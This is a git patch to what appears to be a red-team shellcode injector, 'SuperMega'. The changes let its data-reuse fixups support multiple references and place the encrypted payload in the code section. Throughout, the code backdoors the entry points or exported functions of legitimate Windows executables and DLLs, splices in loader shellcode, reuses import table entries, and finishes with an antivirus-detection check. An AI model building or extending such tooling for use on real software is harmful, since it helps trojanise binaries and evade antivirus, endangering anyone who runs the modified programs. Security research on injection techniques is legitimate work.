From de77f50f06994adbe6e19dcf6e2efebdd96a4211 Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Sat, 22 Jun 2024 12:59:21 +0200 Subject: [PATCH] feature: datareuse now supports multiple references -> fix change_ carriers --- helper.py | 19 +---- model/carrier.py | 25 ++++-- pe/superpe.py | 30 ++++++++ phases/asmtextparser.py | 66 +++++----------- phases/assembler.py | 13 ---- phases/injector.py | 167 ++++++++++++++++++++-------------------- supermega.py | 27 ++----- 7 files changed, 156 insertions(+), 191 deletions(-) diff --git a/helper.py b/helper.py index abcec80..b007fb2 100644 --- a/helper.py +++ b/helper.py @@ -136,24 +136,6 @@ def file_to_lf(filename): f.write(data) -def find_first_utf16_string_offset(data, min_len=8): - current_string = bytearray() - start_offset = None # To keep track of the start of the current string - for i in range(0, len(data) - 1, 2): - # Check if we have a valid character - if data[i] != 0 or data[i+1] != 0: - if start_offset is None: # Mark the start of a new string - start_offset = i - current_string += bytes([data[i], data[i+1]]) - else: - if len(current_string) >= min_len * 2: # Check if the current string meets the minimum length - return start_offset # Return the offset where the string starts - current_string = bytearray() - start_offset = None # Reset start offset for the next string - - return None # No string found that meets the criteria - - def round_up_to_multiple_of_8(x): return math.ceil(x / 8) * 8 @@ -169,6 +151,7 @@ def ui_string_decode(data): except Exception as e: logger.warning("ui_string_decode: {}".format(e)) + def ascii_to_hex_bytes(ascii_bytes): hex_escaped = ''.join(f'\\x{byte:02x}' for byte in ascii_bytes) return hex_escaped diff --git a/model/carrier.py b/model/carrier.py index a6df363..cc56668 100644 --- a/model/carrier.py +++ b/model/carrier.py @@ -15,14 +15,24 @@ class IatRequest(): self.placeholder: bytes = placeholder # Random bytes as placeholder -class DataReuseEntry(): - def __init__(self, string_ref: str): - self.string_ref: str = string_ref # "$SG72513" +class DataReuseReference(): + def __init__(self, randbytes: bytes, register: str): + self.randbytes: bytes = randbytes + self.register: str = register - self.register: str = "" # "rcx" - self.randbytes: bytes = b"" # placeholder - self.data: bytes = b'' - self.addr: int = 0 + +class DataReuseEntry(): + def __init__(self, string_ref: str, in_code: bool = False): + self.string_ref: str = string_ref # "$SG72513" + self.data: bytes = b'' # the content/data + self.addr: int = 0 # where content/data is stored + self.in_code: bool = in_code # is the data in code section + + self.references: List[DataReuseReference] = [] + + + def add_reference(self, randbytes, register): + self.references.append(DataReuseReference(randbytes, register)) class Carrier(): @@ -32,7 +42,6 @@ class Carrier(): self.exe_filepath: str = exe_file self.superpe: SuperPe = None - def init(self): self.superpe = SuperPe(self.exe_filepath) diff --git a/pe/superpe.py b/pe/superpe.py index 283fdc0..6adea97 100644 --- a/pe/superpe.py +++ b/pe/superpe.py @@ -246,6 +246,17 @@ class SuperPe(): # Reloc destination is probably 8 bytes # But i add another 8 to skip over small holes (common in .rdata) rm.add_range(reloc.rva, reloc.rva + 8 + 8) + + if True: # FIXME this is a hack which is sometimes necessary? + sect_data_copy = section.pefile_section.get_data() + string_off = find_first_utf16_string_offset(sect_data_copy) + if string_off == None: + raise Exception("Strings not found in .rdata section, abort") + if string_off < 128: + logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off)) + string_off = 128 + rm.add_range(section.virt_addr, section.virt_addr + string_off) + rm.merge_overlaps() return rm @@ -378,3 +389,22 @@ class SuperPe(): self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0 self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[SuperPe.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0 + + +def find_first_utf16_string_offset(data, min_len=8): + current_string = bytearray() + start_offset = None # To keep track of the start of the current string + for i in range(0, len(data) - 1, 2): + # Check if we have a valid character + if data[i] != 0 or data[i+1] != 0: + if start_offset is None: # Mark the start of a new string + start_offset = i + current_string += bytes([data[i], data[i+1]]) + else: + if len(current_string) >= min_len * 2: # Check if the current string meets the minimum length + return start_offset # Return the offset where the string starts + current_string = bytearray() + start_offset = None # Reset start offset for the next string + + return None # No string found that meets the criteria + diff --git a/phases/asmtextparser.py b/phases/asmtextparser.py index a3ca0a2..9e717b2 100644 --- a/phases/asmtextparser.py +++ b/phases/asmtextparser.py @@ -55,53 +55,25 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) -> continue # PATCH external shellcode reference - if settings.payload_location == PayloadLocation.CODE: - ## mov rdi, QWORD PTR supermega_payload - ## to - ## lea rdi, [shcstart] ; get payload shellcode address - if "supermega_payload" in line: - updated_line = line - updated_line = updated_line.replace( - "mov ", - "lea " - ) - updated_line = updated_line.replace( - "QWORD PTR supermega_payload", - "[shcstart] ; get payload shellcode address" - ) - lines_out.append(updated_line) - continue - elif settings.payload_location == PayloadLocation.DATA: - ## mov rdi, QWORD PTR supermega_payload - ## to - ## lea rdi, XXX - if "supermega_payload" in line: - randbytes: bytes = os.urandom(7) # LEA is 7 bytes - string_ref = "supermega_payload" + ## mov rdi, QWORD PTR supermega_payload + ## to + ## lea rdi, XXX + if "supermega_payload" in line: + string_ref = "supermega_payload" - datareuse_fixup = carrier.get_reusedata_fixup(string_ref) - if datareuse_fixup == None: - raise Exception("Data reuse entry not found: {}".format(string_ref)) - register = line.split("mov\t")[1].split(",")[0] + # should already exist (added before) + datareuse_fixup = carrier.get_reusedata_fixup(string_ref) + if datareuse_fixup == None: + raise Exception("Data reuse entry not found: {}".format(string_ref)) - datareuse_fixup.register = register - datareuse_fixup.randbytes = randbytes + # add a reference + randbytes: bytes = os.urandom(7) # LEA is 7 bytes + register = line.split("mov\t")[1].split(",")[0] + datareuse_fixup.add_reference(randbytes, register) - line = bytes_to_asm_db(randbytes) + " ; .rdata Payload".format() - lines_out.append(line) - continue - else: - raise Exception("Unknown payload location: {}".format(settings.payload_location)) - - # ADD label at end of code - # we cant reliably identify in which function, so we just add it at the end - ## get_time_raw ENDP - ## -> add here - ## _TEXT ENDS - ## END - if line_idx > len(lines) - 5 and tokens[1] == "ENDP": + # add lines + line = bytes_to_asm_db(randbytes) + " ; supermega_payload Payload".format() lines_out.append(line) - lines_out.append("shcstart: ; start of payload shellcode") continue # COLLECT AND PATCH all functions that need to be resolved in loader shellcode @@ -152,15 +124,13 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) -> ## DB 07cH, 04cH, 028H, 0b0H, 006H, 07eH ; IAT Reuse for GetEnvironmentVariableW if "OFFSET FLAT:$SG" in line: string_ref = line.split("OFFSET FLAT:")[1] - register = line.split("lea\t")[1].split(",")[0] - randbytes: bytes = os.urandom(7) - datareuse_fixup = carrier.get_reusedata_fixup(string_ref) if datareuse_fixup == None: raise("Data reuse entry not found: {}".format(string_ref)) - datareuse_fixup.register = register - datareuse_fixup.randbytes = randbytes + register = line.split("lea\t")[1].split(",")[0] + randbytes: bytes = os.urandom(7) + datareuse_fixup.add_reference(randbytes, register) line = bytes_to_asm_db(randbytes) + " ; .rdata Reuse for {} ({})".format( string_ref, register) diff --git a/phases/assembler.py b/phases/assembler.py index 06b10c2..764bcd1 100644 --- a/phases/assembler.py +++ b/phases/assembler.py @@ -25,19 +25,6 @@ def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes: return code -def merge_loader_payload( - shellcode_in: bytes, - payload_data: bytes, - decoder_style: DecoderStyle -) -> bytes: - payload_data = encode_payload(payload_data, decoder_style) - - logger.info("---[ Size: Carrier: {} and Payload: {} Sum: {} ".format( - len(shellcode_in), len(payload_data), len(shellcode_in)+len(payload_data))) - - return shellcode_in + payload_data - - def encode_payload(payload: bytes, decoder_style: DecoderStyle) -> bytes: if decoder_style == DecoderStyle.PLAIN_1: return payload diff --git a/phases/injector.py b/phases/injector.py index b3cbc8f..d31f227 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -4,7 +4,7 @@ import time import logging from typing import Dict, List -from model.carrier import Carrier, DataReuseEntry +from model.carrier import Carrier, DataReuseEntry, DataReuseReference from pe.pehelper import * from observer import observer from pe.derbackdoorer import FunctionBackdoorer @@ -18,7 +18,7 @@ from model.payload import Payload logger = logging.getLogger("Injector") -def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, payload: Payload): +def inject_exe(carrier_shc: bytes, settings: Settings, carrier: Carrier, payload: Payload): exe_in = settings.inject_exe_in exe_out = settings.inject_exe_out carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style @@ -26,12 +26,12 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, payload: P logger.info("--[ Injecting: into {} -> {}".format(exe_in, exe_out)) # CHECK if shellcode fits into the target code section - shellcode_len = len(main_shc) - code_sect_size = carrier.superpe.get_code_section().Misc_VirtualSize - if shellcode_len + CODE_INJECT_SIZE_CHECK_ADD > code_sect_size: - raise Exception("Error: Shellcode size {}+{} too big for target code section {}".format( - shellcode_len, CODE_INJECT_SIZE_CHECK_ADD, code_sect_size - )) + carrier_shc_len = len(carrier_shc) + #code_sect_size = carrier.superpe.get_code_section().Misc_VirtualSize + #if carrier_shc_len + CODE_INJECT_SIZE_CHECK_ADD > code_sect_size: + # raise Exception("Error: Shellcode size {}+{} too big for target code section {}".format( + # carrier_shc_len, CODE_INJECT_SIZE_CHECK_ADD, code_sect_size + # )) # superpe is a representation of the exe file. We gonna modify it, and save it at the end. superpe = SuperPe(exe_in) @@ -57,7 +57,7 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, payload: P superpe.pe.parse_data_directories() superpe.init_iat_entries() - shellcode_offset: int = 0 # file offset + carrier_shc_offset: int = 0 # file offset # Special case: DLL exported function direct overwrite if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: @@ -66,15 +66,15 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, payload: P # Size and sanity checks function_size = superpe.get_size_of_exported_function(settings.dllfunc) - if shellcode_len >= function_size: + if carrier_shc_len >= function_size: logger.warning("Shellcode larger than function: {} > {} exported function {}".format( - shellcode_len, function_size, settings.dllfunc + carrier_shc_len, function_size, settings.dllfunc )) # Inject - shellcode_offset = superpe.get_offset_from_rva(rva) - logger.info(f'----[ Using DLL Export "{settings.dllfunc}" at RVA 0x{rva:X} offset 0x{shellcode_offset:X} to overwrite') - superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc) + carrier_shc_offset = superpe.get_offset_from_rva(rva) + logger.info(f'----[ Using DLL Export "{settings.dllfunc}" at RVA 0x{rva:X} offset 0x{carrier_shc_offset:X} to overwrite') + superpe.pe.set_bytes_at_offset(carrier_shc_offset, carrier_shc) else: # EXE/DLL # Put it somewhere in the code section, and rewire the flow @@ -82,26 +82,26 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, payload: P if sect == None: raise Exception('Could not find code section in input PE file!') sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData - if sect_size < shellcode_len + CODE_INJECT_SIZE_CHECK_ADD: + if sect_size < carrier_shc_len + CODE_INJECT_SIZE_CHECK_ADD: raise Exception("Shellcode too large: {}+{} > {}".format( - shellcode_len, CODE_INJECT_SIZE_CHECK_ADD, sect_size + carrier_shc_len, CODE_INJECT_SIZE_CHECK_ADD, sect_size )) - shellcode_offset = int((sect_size - shellcode_len) / 2) # centered in the .text section + carrier_shc_offset = int((sect_size - carrier_shc_len) / 2) # centered in the .text section #shellcode_offset = round_up_to_multiple_of_8(shellcode_offset) - shellcode_offset += sect.PointerToRawData - shellcode_rva = superpe.pe.get_rva_from_offset(shellcode_offset) + carrier_shc_offset += sect.PointerToRawData + shellcode_rva = superpe.pe.get_rva_from_offset(carrier_shc_offset) # Aligning the payload (not carrier!) to page size is important for dll_loader_change if settings.carrier_name == "dll_loader_change": # align shellcode_rva minus an offset to page size - shellcode_rva = align_to_page_size(shellcode_rva, shellcode_len - len(payload.payload_data)) - shellcode_offset = superpe.pe.get_offset_from_rva(shellcode_rva) + shellcode_rva = align_to_page_size(shellcode_rva, carrier_shc_len - len(payload.payload_data)) + carrier_shc_offset = superpe.pe.get_offset_from_rva(shellcode_rva) logger.info("---( Inject: Write Shellcode to offset:0x{:X} (rva:0x{:X})".format( - shellcode_offset, shellcode_rva)) + carrier_shc_offset, shellcode_rva)) # Copy the shellcode - superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc) + superpe.pe.set_bytes_at_offset(carrier_shc_offset, carrier_shc) # rewire flow if superpe.is_dll() and settings.dllfunc != "": # DLL @@ -113,7 +113,7 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, payload: P addr = superpe.getExportEntryPoint(settings.dllfunc) logger.info("---( Inject DLL: Backdoor {} (0x{:X})".format( settings.dllfunc, addr)) - function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len) + function_backdoorer.backdoor_function(addr, shellcode_rva, carrier_shc_len) else: # EXE if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: @@ -125,12 +125,13 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, payload: P addr = superpe.get_entrypoint() logger.info("---( Inject EXE: Backdoor function at entrypoint (0x{:X})".format( addr)) - function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len) + function_backdoorer.backdoor_function(addr, shellcode_rva, carrier_shc_len) logger.info("--( Fix shellcode to re-use IAT entries") injected_fix_iat(superpe, carrier) logger.info("--( Fix shellcode to reference data stored in .rdata") - injected_fix_data(superpe, carrier) + injected_fix_data(superpe, carrier, + carrier_shc_offset + carrier_shc_len) # changes from console to UI (no console window) if necessary superpe.patch_subsystem() @@ -141,7 +142,7 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier, payload: P # Log code = file_readall_binary(exe_out) - in_code = code[shellcode_offset:shellcode_offset+shellcode_len] + in_code = code[carrier_shc_offset:carrier_shc_offset+carrier_shc_len] observer.add_code_file("carrier_exe", in_code) @@ -164,81 +165,81 @@ def injected_fix_iat(superpe: SuperPe, carrier: Carrier): )) jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address) if len(jmp) != len(iatRequest.placeholder): - raise Exception("IatResolve: Call to IAT has different length than placeholder, abort") + raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format( + len(jmp), len(iatRequest.placeholder) + )) code = code.replace(iatRequest.placeholder, jmp) superpe.write_code_section_data(code) -def injected_fix_data(superpe: SuperPe, carrier: Carrier): - """Inject shellcode-data into .rdata and replace reusedata_fixup placeholders in code with LEA""" - # Insert my data into the .rdata section. - # Chose and save each datareuse_fixup's addres. +def injected_fix_data(superpe: SuperPe, carrier: Carrier, shellcode_offset: int): + """Inject data into .rdata/.text and replace reusedata_fixup placeholders in code with LEA""" reusedata_fixups: List[DataReuseEntry] = carrier.get_all_reusedata_fixups() if len(reusedata_fixups) == 0: # nothing todo return - # Put stuff into .rdata section in the PE - peSection = carrier.superpe.get_section_by_name(".rdata") - if peSection == None: + # .rdata storage manager + rdata_section = carrier.superpe.get_section_by_name(".rdata") + if rdata_section == None: raise Exception("No .rdata section found, abort") - rm = carrier.superpe.get_rdata_relocmanager() - if True: # FIXME this is a hack which is sometimes necessary - sect_data_copy = peSection.pefile_section.get_data() - string_off = find_first_utf16_string_offset(sect_data_copy) - if string_off == None: - raise Exception("Strings not found in .rdata section, abort") - if string_off < 128: - logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off)) - string_off = 128 - rm.add_range(peSection.virt_addr, peSection.virt_addr + string_off) - - # Do all .rdata patches - logger.info("---( Patch: .rdata") + # insert data + logger.info("---( DataReuseFixups: Inject the data") for datareuse_fixup in reusedata_fixups: - logger.info(" Handling DataReuse Fixup: {} <- {}".format( - datareuse_fixup.string_ref, datareuse_fixup.randbytes.hex())) + logger.debug(" Handling DataReuse Fixup: {} (.code: {})".format( + datareuse_fixup.string_ref, datareuse_fixup.in_code)) - # get a hole in the .rdata section to put our data - hole_rva = rm.find_hole(len(datareuse_fixup.data)) - if hole_rva == None: - raise Exception("No suitable hole with size {} found in .rdata section, abort".format( - len(datareuse_fixup.data) - )) - rm.add_range(hole_rva[0], hole_rva[1]+1) # mark it as used + if datareuse_fixup.in_code: # .text + superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data) + payload_rva = superpe.pe.get_rva_from_offset(shellcode_offset) + datareuse_fixup.addr = payload_rva + carrier.superpe.get_image_base() + logging.info(" Add to .text at 0x{:X} ({}): {} with size {}".format( + datareuse_fixup.addr, payload_rva, datareuse_fixup.string_ref, len(datareuse_fixup.data))) - var_data = datareuse_fixup.data - data_rva = hole_rva[0] - superpe.pe.set_bytes_at_rva(data_rva, var_data) - datareuse_fixup.addr = data_rva + carrier.superpe.get_image_base() - logging.info(" Add to .rdata at 0x{:X} ({}): {}: {}".format( - datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data))) + else: # .rdata + # get a hole in the .rdata section to put our data + hole_rva = rm.find_hole(len(datareuse_fixup.data)) + if hole_rva == None: + raise Exception("No suitable hole with size {} found in .rdata section, abort".format( + len(datareuse_fixup.data) + )) + rm.add_range(hole_rva[0], hole_rva[1]+1) # mark it as used - # patch code section - # replace the placeholder with a LEA instruction to the data we written above - logger.info("---( Patch: .text") + var_data = datareuse_fixup.data + data_rva = hole_rva[0] + superpe.pe.set_bytes_at_rva(data_rva, var_data) + datareuse_fixup.addr = data_rva + carrier.superpe.get_image_base() + logging.info(" Add to .rdata at 0x{:X} ({}): {}: {}".format( + datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data))) + + # replace the placeholder in .text with a LEA instruction to the data we written above + logger.info("---( Datareusefixups: patch code to reference the data") code = superpe.get_code_section_data() for datareuse_fixup in reusedata_fixups: - if not datareuse_fixup.randbytes in code: - raise Exception("fix data in injectable: DataReuse: ID {} ({}) not found in code section, abort".format( - datareuse_fixup.randbytes.hex(), datareuse_fixup.string_ref)) - - offset_from_datasection = code.index(datareuse_fixup.randbytes) - instruction_virtual_address = offset_from_datasection + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress - destination_virtual_address = datareuse_fixup.addr - logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format( - datareuse_fixup.randbytes.hex(), instruction_virtual_address, datareuse_fixup.register, destination_virtual_address - )) - lea = assemble_lea( - instruction_virtual_address, destination_virtual_address, datareuse_fixup.register - ) - asm_disasm(lea, instruction_virtual_address) # DEBUG - if len(lea) != len(datareuse_fixup.randbytes): - raise Exception("IatResolve: Call to IAT has different length than placeholder, abort") - code = code.replace(datareuse_fixup.randbytes, lea) + ref: DataReuseReference + for ref in datareuse_fixup.references: + if not ref.randbytes in code: + raise Exception("fix data in injectable: DataReuse: ID {} ({}) not found in code section, abort".format( + ref.randbytes.hex(), datareuse_fixup.string_ref)) + + offset_from_datasection = code.index(ref.randbytes) + instruction_virtual_address = offset_from_datasection + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress + destination_virtual_address = datareuse_fixup.addr + logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format( + ref.randbytes.hex(), instruction_virtual_address, ref.register, destination_virtual_address + )) + lea = assemble_lea( + instruction_virtual_address, destination_virtual_address, ref.register + ) + asm_disasm(lea, instruction_virtual_address) # DEBUG + if len(lea) != len(ref.randbytes): + raise Exception("DataReuseFixup: lea instr has different length than placeholder: {} != {} abort".format( + len(lea), len(ref.randbytes) + )) + code = code.replace(ref.randbytes, lea) superpe.write_code_section_data(code) diff --git a/supermega.py b/supermega.py index ef55985..fc916b9 100644 --- a/supermega.py +++ b/supermega.py @@ -167,14 +167,12 @@ def start_real(settings: Settings): # CREATE: Carrier C source files from template (C->C) phases.templater.create_c_from_template(settings, len(project.payload.payload_data)) - # If we put the payload into .rdata # PREPARE DataReuseEntry for usage in Compiler/AsmTextParser - if settings.payload_location == PayloadLocation.DATA: - logger.info("--[ Load payload for use in .rdata injection") - project.carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload")) - entry = project.carrier.get_reusedata_fixup("supermega_payload") - entry.data = phases.assembler.encode_payload( - project.payload.payload_data, settings.decoder_style) # encrypt + # So the carrier is able to find the payload + project.carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload", in_code=True)) + entry = project.carrier.get_reusedata_fixup("supermega_payload") + entry.data = phases.assembler.encode_payload( + project.payload.payload_data, settings.decoder_style) # encrypt observer.add_code_file("payload", project.payload.payload_data) # COMPILE: Carrier to .asm (C -> ASM) @@ -201,21 +199,8 @@ def start_real(settings: Settings): build_exe = settings.main_exe_path) observer.add_code_file("carrier_shc", carrier_shellcode) - # MERGE: shellcode/loader with payload (SHC + PAYLOAD -> SHC) - if settings.payload_location == PayloadLocation.CODE: - logger.info("--[ Merge carrier with payload for .text injection".format()) - full_shellcode = phases.assembler.merge_loader_payload( - shellcode_in = carrier_shellcode, - payload_data = project.payload.payload_data, - decoder_style = settings.decoder_style) - #observer.add_code_file("full_shc", full_shellcode) - else: - # shellcode is in .rdata, so we dont need to merge - # Encoding is handled before this - full_shellcode = carrier_shellcode - # inject (merged) loader into an exe. Big task. - phases.injector.inject_exe(full_shellcode, settings, project.carrier, project.payload) + phases.injector.inject_exe(carrier_shellcode, settings, project.carrier, project.payload) #observer.add_code_file("exe_final", extract_code_from_exe_file_ep(settings.inject_exe_out, 300)) # Check binary with avred